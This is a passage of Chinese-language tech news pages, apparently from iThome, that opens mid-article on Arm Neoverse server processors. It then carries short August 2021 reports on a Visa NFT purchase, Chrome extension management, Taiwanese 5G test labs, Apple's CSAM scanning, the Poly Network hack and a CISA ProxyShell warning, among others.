src="https://s4.itho.me/sites/default/files/images/1036-cover4-960-%E5%9C%96%E7%89%87%E4%BE%86%E6%BA%90%EF%BC%8FArm.png" style="width: 600px;" /></p> <p><span style="color: rgb(105, 105, 105);"><strong>｜Arm Neoverse公布最新發展藍圖｜從2018年宣布推出Neoverse產品線，Arm至今已發布兩次平臺更新，第一次是2019年登場的N1與E1，第二次是今年發表的V1與N2。從歷代規格的演進，可看出Arm最大的優勢在於可以導入最新的處理器製程，以及記憶體、I/O介面規格。</strong>（圖片來源／Arm）</span></p> <p><span style="font-size:28px;"><strong>定出每個世代平臺效能增長目標是30％，打破多年來的業界慣例</strong></span></p> <p>Arm最初發表Neoverse之際，曾列出他們規畫的4個處理器平臺世代發展藍圖，並表明到2021年之前，每年、每一世代的效能提升幅度將會是30％，並將一路從16奈米製程走向7奈米製程、5奈米製程。</p> <p>在IT業界，我們很少看到廠商膽敢提出這樣的承諾，因為根據過往經驗來看，每一世代處理器的效能增長幅度是難以預期的，總要等到廠商正式發布產品之後才能見真章，而Arm居然勇於對市場提出這樣的目標，實屬罕見。</p> <p>若從現在回顧過往Arm是否兌現對於Neoverse的發展承諾，至少在前次與這次世代交替的過程中，他們都提出了新平臺效能增長比例，符合、甚至超越當初的規畫預期。</p> <p>以2019年推出的N1為例，比起2018年Neoverse第一代的16奈米製程Cosmos平臺（相當於Arm處理器平臺Cortex-A72），N1在整數運算效能提升了60％，關鍵雲端作業負載效能也提高2.5倍。Arm同時推出的另一款E1，比起Cortex-A53平臺，可提供7倍的效能、2.4倍的每瓦效能。</p> <p>而2021年發表的V1，相較於N1，新登場的V1整體效能提高50％，針對各種層面的工作負載增長了1.8 倍，在機器學習工作負載的效能，則是提升4倍。</p> <p>另一款同時發表的N2，是率先採用Armv9架構的Neoverse產品，在單執行緒的效能上，比起N1，可提升40％。在超大規模雲端環境中，若N2用於網站伺服器Nginx，相較於N1，效能增長1.3倍。</p> <p>另外，在供電吃緊與空間侷促的邊緣，以及5G應用場域中，比起N1，N2對DPDK封包處理速度，可快上1.2倍。</p> <p><span style="font-size:28px;"><strong>從雲端服務突圍，SmartNIC/DPU也開始搭配</strong></span></p> <p>Neoverse幾年前之所以開始受到IT界的關注，AWS應該是最大功臣。因為他們在2018年11月底舉行的年度用戶大會上，宣布推出第一款基於Arm架構的執行個體服務：EC2 A1系列。他們標榜這當中採用自行設計的Graviton處理器，然而，公有雲業者發展自家專用的處理器、加速器晶片，並不是新鮮事，若採用Arm架構，也在眾人的意料之內，然而，這卻是Neoverse初試啼聲。</p> <p>根據Arm官方部落格當時的文章指出，這款由Annapurna Labs設計的AWS Graviton處理器，其實就是基於Neoverse Cosmos平臺而成。</p> <p>一年過後，AWS發表Graviton2處理器，並推出M6g 、C6g 、R6g 等3個系列執行個體服務，分別對應通用型工作負載、運算最佳化型工作負載、記憶體最佳化型工作負載。而Graviton2採用的正是這一年推出的Neoverse N1平臺。</p> <p>而Arm在2021年上半發布Neoverse V1與N2的同時，也揭露更多公有雲業者將基於Neoverse處理器或平臺，推出執行個體服務。例如，Oracle Cloud Infrastructure（OCI）、阿里雲。</p> <p>果不期然，OCI在5月底宣布，正式啟用執行個體服務Ampere A1 Compute，當中採用Ampere公司的Altra處理器，而CPU裡搭配了Arm Neoverse N1核心。阿里雲則是在ECS ARM執行個體服務採用Neoverse N1，4月公布測試結果。</p> <p>在Arm這波宣布的Neoverse案例裡面，有個最近也受到熱烈關注的企業IT產品，那就是DPU。</p> <p>Arm表示，Marvell公司將會基於Neoverse N2平臺，推出OCTEON系列的網路解決方案，預計今年底開始小量出貨，相較於OCTEON前代的網路解決方案，可獲得3倍的效能提升。</p> <p>而在6月，Marvell也宣布，OCTEON 10 DPU將採用5奈米製程，以納入Neoverse N2平臺，預計可獲得3倍效能提升與50％的省電幅度。</p> <p class="rtecenter"><span style="color: rgb(105, 105, 105);"><img alt="" src="https://s4.itho.me/sites/default/files/images/1036-cover4-600-1-%E5%9C%96%E7%89%87%E4%BE%86%E6%BA%90Arm.png" style="width: 600px;" /></span></p> <p><span style="color: rgb(105, 105, 105);"><strong>｜Neoverse V1的兩大特色｜在Arm現有的處理器設計中，Neoverse V1是他們實現效能第一理念下的產品，當中提供最寬闊的微架構，以便在執行過程中能夠容納更多指令，如此可因應高效能運算，甚至ExaFLOPS等級的運算需求。</strong>（圖片來源／Arm）</span></p> <p class="rtecenter"><span style="color:#696969;"><img alt="" src="https://s4.itho.me/sites/default/files/images/1036-cover4-600-2-%E5%9C%96%E7%89%87%E4%BE%86%E6%BA%90%EF%BC%8FArm.png" style="width: 600px;" /></span></p> <p><span style="color:#696969;"><strong>｜Neoverse N2提供專屬運算資源｜N2最顯著的特色在於單一執行緒效能，以及每瓦效能的表現。而比起前一代平臺N1，N2在單執行緒的效能可提升40%。為何能有這樣的改進幅度？因為N2能讓每個執行緒對應單一核心來執行，而傳統處理器對於執行緒的資源採用共享的方式配置。</strong>（圖片來源／Arm）</span></p> </div></div></div><div class="field field-name-field-tags field-type-taxonomy-term-reference field-label-above"><div class="field-label">Tags: </div><div class="field-items"><div class="field-item even"><a href="/tags/%E5%B0%81%E9%9D%A2%E6%95%85%E4%BA%8B">封面故事</a></div><div class="field-item odd"><a href="/tags/%E9%9B%B2%E7%AB%AF">雲端</a></div><div class="field-item even"><a href="/tags/hpc">HPC</a></div><div class="field-item odd"><a href="/tags/cpu">CPU</a></div><div class="field-item even"><a href="/tags/%E4%BC%BA%E6%9C%8D%E5%99%A8-0">伺服器</a></div><div class="field-item odd"><a href="/tags/%E8%99%95%E7%90%86%E5%99%A8">處理器</a></div><div class="field-item even"><a href="/tags/arm-neoverse-v1">Arm Neoverse V1</a></div><div class="field-item odd"><a href="/tags/arm-neoverse-n2">Arm Neoverse N2</a></div><div class="field-item even"><a href="/tags/pcie-50">PCIe 5.0</a></div><div class="field-item odd"><a href="/tags/ddr5%E8%A8%98%E6%86%B6%E9%AB%94">DDR5記憶體</a></div><div class="field-item even"><a href="/tags/smartnic">SmartNIC</a></div><div class="field-item odd"><a href="/tags/dpu">DPU</a></div></div></div>
2021/8/25 07:00作者李宗翰https://www.ithome.com.tw/tech/146304
CPU三強爭霸
<div class="field field-name-field-image field-type-image field-label-hidden"><div class="field-items"><div class="field-item even"><img src="https://s4.itho.me/sites/default/files/styles/picture_size_large/public/1039-feng_mian_p1-open-960x420_kao_bei_.png?itok=6bLFtvd8" width="960" height="420" alt="" /></div></div></div><div class="field field-name-field-featured-article-category field-type-taxonomy-term-reference field-label-hidden"><div class="field-items"><div class="field-item even"><a href="/taxonomy/term/75">專題故事</a></div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <p>從2021年3月中到4月底，AMD、Intel相繼推出第三代伺服器平臺，Arm也恰巧發表新的伺服器級處理器技術，導入新的微架構，以及更先進的製程，持續針對效能、I/O、安全提出創新，並於企業IT、雲端服務、高效能運算等領域短兵相接。</p> </div></div></div>
2021/8/25 07:00作者李宗翰https://www.ithome.com.tw/article/146305
Visa花了15萬美元買進該公司第一個NFT
<div class="field field-name-field-news-column-category field-type-taxonomy-term-reference field-label-hidden"><div class="field-items"><div class="field-item even"><a href="/tags/%E6%96%B0%E8%81%9E">新聞</a></div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <p><a href="https://usa.visa.com/visa-everywhere/blog/bdp/2021/08/18/nfts-mark-a-1629328216374.html" target="_blank">全球第二大卡片支付組織Visa在23日宣布</a>，已買進該公司第一個「不可替代代幣」（Non-Fungible Token，NFT）產品，那是由Larva Labs創作的CryptoPunk 7610。<a href="https://www.larvalabs.com/cryptopunks/details/7610" target="_blank">此一交易發生在8月18日</a>，購入價格為49.5個以太幣，約為15萬美元。</p> <p class="rtecenter"><img alt="" src="https://s4.itho.me/sites/default/files/images/0824-cryptopunk%207610.png" style="width: 600px;" /></p> <p>NFT是個奠基在區塊鏈上的代幣，與其它加密貨幣不同的是，每個NFT都是獨一無二的，它們並不等值，因此無法直接互相交換，主要作為數位資產的憑證。</p> <p>而Larva Labs則是由兩名軟體開發者Matt Hall與John Watkinson成立的工作室，<a href="https://larvalabs.com/cryptopunks" target="_blank">他們在2017年於以太坊區塊鏈上發表了實驗性專案CryptoPunks</a>，創作了1萬個獨特的加密龐克角色，包含6,039名男性與3,840名女性，初期開放任何擁有以太坊錢包的使用者免費領取，且很快就被領光，現在則必須透過交易才能取得CryptoPunks角色的所有權。</p> <p>Visa的加密資產負責人Cuy Sheffield表示，CryptoPunks已從早期的實驗性創作成為加密社群的文化標誌，為了了解作為CryptoPunks歷史性NFT專案所扮演的角色，Visa決定買下CryptoPunk 7610。</p> <p>對於NFT，Visa抱持著開放的態度，Sheffield坦承只有時間才能印證NFT是否會成為主流，但認為它可能會在未來的零售、社交媒體、娛樂或商業上占有一席之地，為了協助客戶或合作夥伴也參與NFT，只有身先士卒。</p> <p>Sheffield說，Visa除了企圖傳達對創作者、藝術家或收藏家的支持，共同推動未來的NFT商業，促進買家與賣家之間的交易之外；也想收藏象徵此一特殊文化之機遇與興奮的NFT。</p> <p>Sheffield認為，NFT很有潛力成為創作者經濟的加速器，而且降低個人創作者獲利的門檻，可望導入新形態的社交商務，賦予創作者與收藏者權力。</p> <p>沒有人可以確定NFT在未來是否會成為主流，但去年NFT的交易規模不到1億美元，但光是今年8月的NFT交易量就超過了10億美元，不僅如此，在Visa對外公開買下了CryptoPunk 7610之後，讓CryptoPunk的能見度大增，<a href="https://twitter.com/larvalabs/status/1430038470379118593" target="_blank">Larva Labs透過Twitter宣布</a>，CryptoPunk在24小時內的交易規模已突破1億美元。</p> </div></div></div>
2021/8/24 20:33作者陳曉莉https://www.ithome.com.tw/news/146368
Chrome強化企業擴充套件管理功能，使用者可請求安裝新套件
<div class="field field-name-field-news-column-category field-type-taxonomy-term-reference field-label-hidden"><div class="field-items"><div class="field-item even"><a href="/tags/%E6%96%B0%E8%81%9E">新聞</a></div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <p>有鑒於企業IT管理員管理Chrome擴充套件不容易，因此<a href="https://cloud.google.com/blog/products/chrome-enterprise/extension-management-enhancements">Google現在改進Chrome的企業擴充套件管理功能</a>，讓管理員能以更簡單的方法管理擴充套件，也提供詳盡的資料，供管理員了解擴充套件的使用情況。</p> <p>現在管理員可以允許終端用戶請求安裝擴充套件，當終端用戶使用受管制的Chrome瀏覽器和Chrome作業系統，瀏覽Chrome網頁商店時，原本加入Chrome的安裝擴充套件按鈕，會轉變成為請求按鈕，如此擴充套件安裝請求，便會傳送至Chrome瀏覽器雲端管理請求頁面，由管理員審核，一旦審核通過，該擴充套件便會被添加到Chrome中。</p> <p>IT管理員還可以將重要的擴充套件，固定到終端用戶的工具列上，Google提到，擴充套件的配置影響使用者的生產力，因此管理員現在可以標準化終端用戶體驗，同時也能減少IT花費在排除瀏覽器故障的時間。這個功能類似Google在今年早前，所推出的託管書籤功能。</p> <p>對於那些使用成千上百擴充套件的企業，IT管理員現在可以藉由App Details API，獲取擴充套件安裝的相關資訊，並以程式開發方法管理擴充套件的相關風險，或是建立稽核工作流程。另外，管理員現在也可以固定擴充套件版本，使在明確更改版本之前，擴充套件都不會升級。</p> <p>Google在不久前，發布了應用程式和擴充套件報告，供IT能夠深入了解部署中所有已安裝的擴充套件、Chrome應用程式和Android應用程式，管理員可以查看每個應用程式和擴充套件的版本和權限，並且在報告中強制安裝或是封鎖應用程式，而Google現在於報告中，加入更多擴充套件的詳細資訊。</p> <p>管理員可以在報告頁面點擊特定擴充套件，來獲取擴充套件識別碼，還有指向該擴充套件網頁商店的連結，並且查看該擴充套件的隱私政策，也確保符合企業的隱私要求。同時，管理員現在還能夠查看擴充套件請求的權限，掌握這些套件是否具有存取用戶資料的能力，以此作為考量依據來審核終端使用者的擴充套件安裝請求。</p> </div></div></div>
2021/8/24 20:43作者李建興https://www.ithome.com.tw/news/146366
臺灣終於有國際級5G驗證開放平臺了！國內5G實驗室首度獲O-RAN聯盟及TIP組織認證
<div class="field field-name-field-news-column-category field-type-taxonomy-term-reference field-label-hidden"><div class="field-items"><div class="field-item even"><a href="/tags/%E6%96%B0%E8%81%9E">新聞</a></div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <p>臺灣有兩間5G開放網路實驗室，由天線製造商耀登集團，以及由經濟部工業局各自打造完成，最近分別通過國際兩大5G電信開放架構組織O-RAN聯盟與TIP組織認可，允許他們可以就近在臺提供5G設備檢測服務，讓網通業者可以採用O-RAN規格或TIP規格的5G驗證開放平臺，來驗證自家5G產品。意味者，臺灣終於有符合國際規格的5G驗證開放平臺，能夠打通國產5G發展的任督二脈，更能將臺灣通過檢測合格的5G產品，迅速銷往全球。</p> <p>在全球5G加速發展趨勢下，5G電信開放架構的採用，也成了近來臺灣推動5G發展的重要政策方針，政府不僅僅號召國內網通廠商加入，來帶動國產5G發展，更要組5G國家隊，加入全球5G供應鏈，將產品及技術輸出國際。為此，NCC今年初更設定目標，5年內要達到4成5G國產品採用率，這些5G國產品全部採用5G開放規格設計。</p> <p>但光有政府號召，網通廠商投入還不夠，想要發展國產5G，還缺少一個重要關鍵，就是要建立屬於自己的國際級5G驗證開放平臺。</p> <p>正因為臺灣一直沒有符合國際規格的5G測試實驗環境，所以，以往國內5G設備或網通業者只能自行尋找適合的測試環境，或遠赴國外測試，但有了國際級5G驗證開放平臺後，現在網通廠商可以自行選擇要採用O-RAN規格或TIP規格的測試環境，來驗測自家5G產品，而且還有兩間國際級5G實驗室，可提供兩大組織5G開放產品驗證。</p> <p>這次通過O-RAN聯盟與TIP組織認證的臺灣5G實驗室有兩間，前者是天線製造廠耀登集團所取得，主要提供5G開放基地臺產品一致性測試，用來驗證產品有無符合聯盟規範與相關標準。後者則是經濟部工業局5G開放網路實驗室拿下，涵蓋測試面向更廣，從5G核網、5G基地臺與終端設備之間的互通互連測試都包含其中。</p> <p>進一步來看，耀登原本就有自己的獨立實驗室，用來測試自家天線產品，因為開放網路架構的需求興起，所以，這家公司後來才決定將原來實驗室擴建，打造成5G O-RAN產品測試實驗室，並向O-RAN聯盟提交申請。O-RAN聯盟在8月中最新一份白皮書中，正式將該實驗室列入合格名單，成為該聯盟最新一批通過申請的OTIC（開放測試與整合中心）實驗室。目前，O-RAN聯盟在全球共有5座OTIC實驗室，臺灣是在亞洲第一座，其餘都在歐洲。值得一提的是，除了OTIC實驗室，耀登還設立5G資安實驗室。耀登預期將在25日一場中華電信揭牌活動上揭露更多訊息。</p> <p>經濟部工業局拿到國際5G驗證許可更早，早在今年5月底，工業局的5G開放網路實驗室，就獲得TIP組織的同意，成為TIP社群實驗室（TIP Community Labs）一員，但從申請到取得資格也花一年多時間，工業局電子資訊組科長李純孝表示，成為TIP實驗室一員最大好處，只要經過他們驗證的產品，就能取得TIP標章，不僅能夠增加國際公信力與可靠度，產品資訊也會放上TIP官網，讓全球5G業者或專網企業都看得到。</p> <p>獲得兩大5G開放架構組織認可後，李純孝表示，臺灣現在已能開放兩大5G驗證開放平臺，來提供業者測試5G O-RAN設備或TIP產品，通過驗證後的5G開放產品，馬上能取得官方研究報告證明或標章。他也補充表示，目前他們正在與耀登5G實驗室合作，共同協助業者完成相關5G開放產品測試，包含一致性測試、互通測試項目。</p> </div></div></div>
2021/8/24 15:52作者余至浩https://www.ithome.com.tw/news/146357
MDN現提供Deno相容性資料
<div class="field field-name-field-news-column-category field-type-taxonomy-term-reference field-label-hidden"><div class="field-items"><div class="field-item even"><a href="/tags/%E6%96%B0%E8%81%9E">新聞</a></div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <p>現在於MDN也查得到Deno的相容性資料，與其他桌面和行動裝置瀏覽器一樣，<a href="https://deno.com/blog/deno-on-mdn">Deno相容性表格資料</a>，也會在所有JavaScript參照頁面，還有部分Web API參照頁面中提供，因此往後開發者在MDN查看技術文件，除了能夠知道該功能在各個瀏覽器上的支援程度外，也能知道Deno的支援度。</p> <p>Deno是Ryan Dahl在Node.js之後，使用Rust語言所創建的新專案，與Node.js相同採用V8引擎，為JavaScript和TypeScript執行環境，Ryan Dahl針對Node.js的十大技術債，提出了Deno這個新的解決方案，讓開發者可以用更簡潔的程式碼，編寫複雜的程式功能。</p> <p>Deno採用現代化的Web API，在Runtime中添加新功能時，首選便是使用瀏覽器API的形式，而這使得開發人員能夠受惠，因爲開發人員已經熟悉這些API，但相對的Deno也獲得好處，因為能夠使用現存的測試。而Web API存在大量的文件，MDN便是網頁平臺檔案的重要來源，MDN包含了超過1萬頁的文件、指南和教學，由社群、Google、Mozilla和Open Web Docs的員工維護。</p> <p>MDN還維護了Web API的Runtime相容性資料，這個資料以相容性圖表的形式顯示在MDN文件頁面上，這些資料從現在起，會加入Deno的相容性資料，開發者可在Array和WebAssembly.LinkError等JavaScript參照頁面，或是fetch和setTimeout等Web API參照頁面中查看。當然，這些資料也可以從mdn/browser-compat-data儲存庫中，以程式開發的方式取得。</p> </div></div></div>
2021/8/24 20:17作者李建興https://www.ithome.com.tw/news/146360
蘋果證實從2019年就開始掃描iCloud郵件是否含有CSAM照片
<div class="field field-name-field-news-column-category field-type-taxonomy-term-reference field-label-hidden"><div class="field-items"><div class="field-item even"><a href="/tags/%E6%96%B0%E8%81%9E">新聞</a></div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <p><a href="https://9to5mac.com/2021/08/23/apple-scans-icloud-mail-for-csam/" target="_blank">9to5Mac指出</a>，蘋果已向該報證實，該公司從2019年就開始掃描進出 iCloud Mail 的郵件是否含有兒童性剝削內容（Child Sexual Abuse Material，CSAM），也會掃描其它的部份，但並未包含iCloud Photos或iCloud備份。</p> <p><a href="https://www.ithome.com.tw/news/146064" target="_blank">蘋果是在今年的8月初公開揭露</a>，將於蘋果各作業系統上植入雜湊的CSAM資料庫，當使用者要上傳照片到iCloud時，就會與該資料庫進行比對，一旦符合CSAM資料庫的照片數量達到30張，便會觸發警報並進入人工審查階段，再決定是否關閉該用戶的帳號或通報主管機關。</p> <p>當各界都在質疑蘋果此舉觸犯了使用者的隱私權，<a href="https://www.ithome.com.tw/news/146122" target="_blank">同時也替蘋果平臺留下後門之際</a>，9to5Mac的編輯發現，<a href="https://www.ithome.com.tw/news/139405" target="_blank">蘋果因與Epic Games打官司而曝光的文件中</a>，<a href="https://9to5mac.com/2021/08/20/apples-anti-fraud-chief-child-porn-statement/" target="_blank">蘋果反詐騙長Eric Friedman在訊息中透露</a>，臉書強力打擊假帳號，但在隱私上非常地糟糕，蘋果剛好相反（非常注重隱私），但卻讓蘋果成為散布兒童色情的最佳平臺。</p> <p>這段話吸引了9to5Mac的注意，好奇蘋果怎麼知道自家平臺是散布兒童色情的最佳管道，於是詢問了蘋果，結果蘋果證實了該公司的確自2019年，就開始掃描iCloud Mail的附加檔案是否含有CSAM。</p> <p>蘋果還向9to5Mac坦承，除了iCloud Mail外，他們也掃描了其它少數的資料，但並不包括iCloud備份。</p> <p>不過，就算如此，要宣稱自己是散布兒童色情的最佳平臺，總是得有其它的比較對象，那麼其它平臺如果不是藉由掃描CSAM，又如何能封鎖特定帳號，或是檢舉用戶呢？人們的隱私權在數位時代似乎很難保全。</p> </div></div></div>
2021/8/24 16:21作者陳曉莉https://www.ithome.com.tw/news/146359
Poly Network被盜走的6.1億美元加密貨幣完璧歸趙了
<div class="field field-name-field-news-column-category field-type-taxonomy-term-reference field-label-hidden"><div class="field-items"><div class="field-item even"><a href="/tags/%E6%96%B0%E8%81%9E">新聞</a></div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <p><a href="http://www.ithome.com.tw/news/146138" target="_blank">在8月10日遭到駭客攻擊</a>、並被盜走價值6.1億美元加密貨幣的<a href="https://medium.com/poly-network/poly-network-commences-full-asset-restoration-7f5c548423b9" target="_blank">Poly Network在8月23日宣布</a>，駭客已經歸還了所有的加密貨幣資產。</p> <p>這是去中心化金融平臺（DeFi）史上規模最大的一次駭客事件，駭客藉由開採Poly Network網路上有關合約調用的安全漏洞，把價值6.1億美元的以太坊代幣、幣安代幣與USDC移轉到自己的錢包，Poly Network立即公布了駭客所使用的錢包位址，號召全球加密貨幣交易平台封鎖相關位址，同時專注於區塊鏈生態體系安全性的慢霧科技（SlowMist）已追蹤到駭客所使用的郵件信箱、IP與裝置指紋。</p> <p><a href="https://www.ithome.com.tw/news/146161" target="_blank">而駭客也在攻擊事件發生的不到24小時內就屈服</a>，開始歸還所盜走的加密貨幣，一直到23日歸還所有的資產。</p> <p><a href="https://www.ft.com/content/ee970452-02de-4d66-84a1-f2b1345f57d1" target="_blank">金融時報還原了Poly Network與駭客協商的過程</a>，Poly Network先透過以太坊區塊鏈向駭客喊話，希望駭客與之聯繫，隨後雙方就在公開的區塊鏈平臺上溝通。</p> <p>當時這名駭客宣稱他有興趣的不是錢，只是在追求有意義的生活，希望自己的生活充滿冒險，駭進Poly Network則是其中之一，他可能會選擇歸還這些資產，也可能就把它們留在那裡。</p> <p>駭客的發言讓他獲得了「白帽先生」（Mr. White Hat）的稱號，Poly Network則企圖說服白帽先生歸還資產，並提出50萬美元的抓漏獎金，此外，還有超過1,000名的旁觀者陸續送出小費予白帽先生，鼓勵他歸還盜走的加密貨幣，雖然這些小費多半低於1美元，但也累積了數百美元。</p> <p>雖然此事看似圓滿落幕，但金融時報引用賓州大學Wharton商學院的學者Kevin Werbach的看法指出，這對像是Poly這樣的DeFi系統來說是個重大的教訓，區塊鏈也許非常的安全，但僅限於在區塊鏈的世界裡，倘若它必須與區塊鏈以外的世界連結，那麼便可能衍生其它的問題。</p> <p>Poly Network公開感謝白帽先生的合作與信守承諾，但並未透露白帽先生是否收了50萬美元。</p> </div></div></div>
2021/8/24 16:05作者陳曉莉https://www.ithome.com.tw/news/146358
CISA警告：駭客正在積極開採ProxyShell漏洞
<div class="field field-name-field-news-column-category field-type-taxonomy-term-reference field-label-hidden"><div class="field-items"><div class="field-item even"><a href="/tags/%E6%96%B0%E8%81%9E">新聞</a></div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <p><a href="https://us-cert.cisa.gov/ncas/current-activity/2021/08/21/urgent-protect-against-active-exploitation-proxyshell" target="_blank">美國網路安全及基礎設施安全局（Cybersecurity and Infrastructure Security Agency，CISA）上周警告</a>，駭客正在積極開採位於Microsoft Exchange的ProxyShell漏洞，呼籲各大組織應儘速修補。</p> <p>ProxyShell實際上是由3個漏洞所串連，分別是微軟於4月修補的<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34473" target="_blank">CVE-2021-34473</a>與<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34523" target="_blank">CVE-2021-34523</a>，以及5月修補的<a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-31207" target="_blank">CVE-2021-31207</a>，值得注意的是，其中的CVE-2021-34473與CVE-2021-34523雖在4月就修補，但微軟一直到7月才分配CVE編號給它們，可能會讓許多根據CVE編號進行修補的管理人員，忽略這兩個漏洞。</p> <p><a href="https://www.ithome.com.tw/news/146093" target="_blank">這3個漏洞是由臺灣資安業者戴夫寇爾（Devcore）所揭露</a>，分別屬於遠端程式攻擊漏洞、權限擴張漏洞與安全功能繞過漏洞，它們同時影響Microsoft Exchange Server 2013、2016與2019，串連這些漏洞將允許駭客於系統上執行任意程式。</p> <p>在戴夫寇爾首席研究人員蔡政達（Orange Tsai）於8月初舉行的黑帽大會上，展示了ProxyShell漏洞之後，駭客即開始掃描網路上含有相關漏洞的系統，包括研究人員與駭客也都著手打造針對ProxyShell的攻擊程式。</p> <p><a href="https://doublepulsar.com/multiple-threat-actors-including-a-ransomware-gang-exploiting-exchange-proxyshell-vulnerabilities-c457b1655e9c" target="_blank">資安研究人員Kevin Beaumont指出</a>，ProxyShell漏洞比<a href="https://www.ithome.com.tw/news/143208" target="_blank">ProxyLogon漏洞</a>更嚴重，因為ProxyShell更容易開採，而且很多組織基本上並未修補。</p> <p>不管是Beaumont自己設置的誘捕系統或是<a href="https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/lockfile-ransomware-new-petitpotam-windows" target="_blank">資安業者賽門鐵克</a>，都已發現駭客正利用ProxyShell漏洞來部署勒索軟體LockFile，且根據賽門鐵克的觀察，7月才看到的LockFile，到了今年8月下旬就已感染全球至少10家組織。</p> <p><a href="https://www.reddit.com/r/msp/comments/p8ik84/polite_warning_please_patch_the_newest_exchange/h9qqq83/" target="_blank">資安業者Huntress則透過Reddit警告</a>，已於未修補的Microsoft Exchange伺服器上看到5種不同功能的惡意Web Shell，且在8月22日時，網路上至少還有1,764臺尚未修補ProxyShell漏洞的Exchange伺服器。</p> <p>此外，截至8月22日，Huntress已於短短的4天內，看到164臺Exchange伺服器被成功入侵。</p> <p>總之，ProxyShell漏洞現階段顯然已成為駭客的遊樂園，儘快修補才是上策。</p> </div></div></div>
2021/8/24 14:29作者陳曉莉https://www.ithome.com.tw/news/146353
微軟Azure Virtual Desktop現在支援Windows 11
<div class="field field-name-field-news-column-category field-type-taxonomy-term-reference field-label-hidden"><div class="field-items"><div class="field-item even"><a href="/tags/%E6%96%B0%E8%81%9E">新聞</a></div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <p>微軟本周宣布<a href="https://techcommunity.microsoft.com/t5/azure-virtual-desktop/windows-11-preview-is-now-available-on-azure-virtual-desktop/ba-p/2666468" target="_blank">雲端虛擬桌面工具Azure Virtual Desktop現在可跑Windows 11預覽版</a>。</p> <p>源自Windows Virtual Desktop的Azure Virtual Desktop，是一項桌面虛擬化服務，讓使用者在任何裝置，包括Windows、macOS、Linux、Android、iOS或是HTML5等平臺上，透過網路連線存取位於另一臺Windows機器上的應用程式或檔案。Azure Virtual Desktop支援Windows Server、Windows 7及Windows 8。而Windows 11是Azure Virtual Desktop最新支援的Windows平臺。</p> <p>微軟表示，配合Windows 11，Azure Virtual Desktop提供多連線（multi-session）支援，可在單一Azure VM上供多名使用者連線。現在用戶已經可利用目前仍為預覽版的信任啟動（Trusted Launch）功能，在建立新VM時設定TPM2.0的安全開機功能。利用Azure Virtual Desktop時，VM上可提供和原生環境相同使用經驗，但如果牽涉一些高階顯示效果，像是透明、動畫、圓角等，則需具有足夠等級的GPU支援。</p> <p>現在企業及教育版用戶已經可以Azure Virtual Desktop跑Windows 11測試版，可經由Windows Insider測試方案取得。</p> <p><a href="https://azuremarketplace.microsoft.com/en-US/marketplace/apps/microsoftwindowsdesktop.windows-11-preview?tab=overview" target="_blank">Azure Marketplace有3種Windows 11映像檔（測試版）可供下載</a>，包括Windows 11 Enterprise、Windows 11 Enterprise多連線，以及Windows 11 Enterprise多連線＋Microsoft 365 App。</p> <p><a href="https://www.ithome.com.tw/news/145984" target="_blank">8月初上線的Windows 365</a>和Azure Virtual Desktop一樣，可將Windows App和檔案遠端執行於任何用戶裝置上，不過Windows 365是按人頭付費使用組態好的Cloud PC，最低每月20美元，Azure Virtual Desktop則是依用量計價。</p> </div></div></div>
2021/8/24 14:58作者林妍溱https://www.ithome.com.tw/news/146354
Google Play將以國別及裝置為基準，提供更個人化的評價及評論內容
<div class="field field-name-field-news-column-category field-type-taxonomy-term-reference field-label-hidden"><div class="field-items"><div class="field-item even"><a href="/tags/%E6%96%B0%E8%81%9E">新聞</a></div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <p>有鑑於開發者所打造的行動程式，在不同的國家或裝置上可能有不同的表現，<a href="https://android-developers.googleblog.com/2021/08/making-ratings-and-reviews-better-for.html" target="_blank">Google決定變更Google Play上的評價與評論政策</a>，從今年的11月起，Android手機用戶在Google Play上只能看到當地用戶的評價與評論，而從明年初起，平板、Chromebook與穿戴式裝置用戶，也能自Google Play上看到專屬於相關裝置的評價。</p> <p>Google表示，每個地區的用戶對特定程式的評價可能不盡公平，例如有個程式內含只影響單一國家的臭蟲，但其評價效應卻會出現在全球市場，或者是開發者特別改善了程式對平板電腦的支援，然而這些增進可能會被手機用戶忽略。</p> <p>因此Google決定提供更個人化也更細緻的評價系統。從今年的11月起，Google Play的用戶將只能看到所註冊的裝置區域對程式的評價，例如日本用戶只能看到日本使用者對特定程式的評價。</p> <p>明年初則會進一步將評價進行分類，從手機、平板電腦、Chrome OS、穿戴式裝置到Auto，使用者用什麼裝置連至Google Play，就會出現相關裝置用戶對特定程式的評價。</p> <p>這樣一來，使用者就可直接查看當地用戶對特定裝置上的行動程式的評語，而開發者也更清楚程式在每個國家或特定裝置的回饋意見。</p> <p>未來開發者將可檢視特定時間內的評價分析，例如每日、每周或每28天，若搭配所下載的CSV檔案，可更方便進行離線分析。為了讓開發者更容易適應這些新的變更，Google在Google Play執行任何變更的10周前，就會自動分析相關程式可能面臨的評價改變，並在改變幅度超過0.2顆星時通知開發者。</p> </div></div></div>
2021/8/24 15:10作者陳曉莉https://www.ithome.com.tw/news/146356
微軟PowerApps入口網站預設資料設定，恐使3800萬用戶資料公開於網上
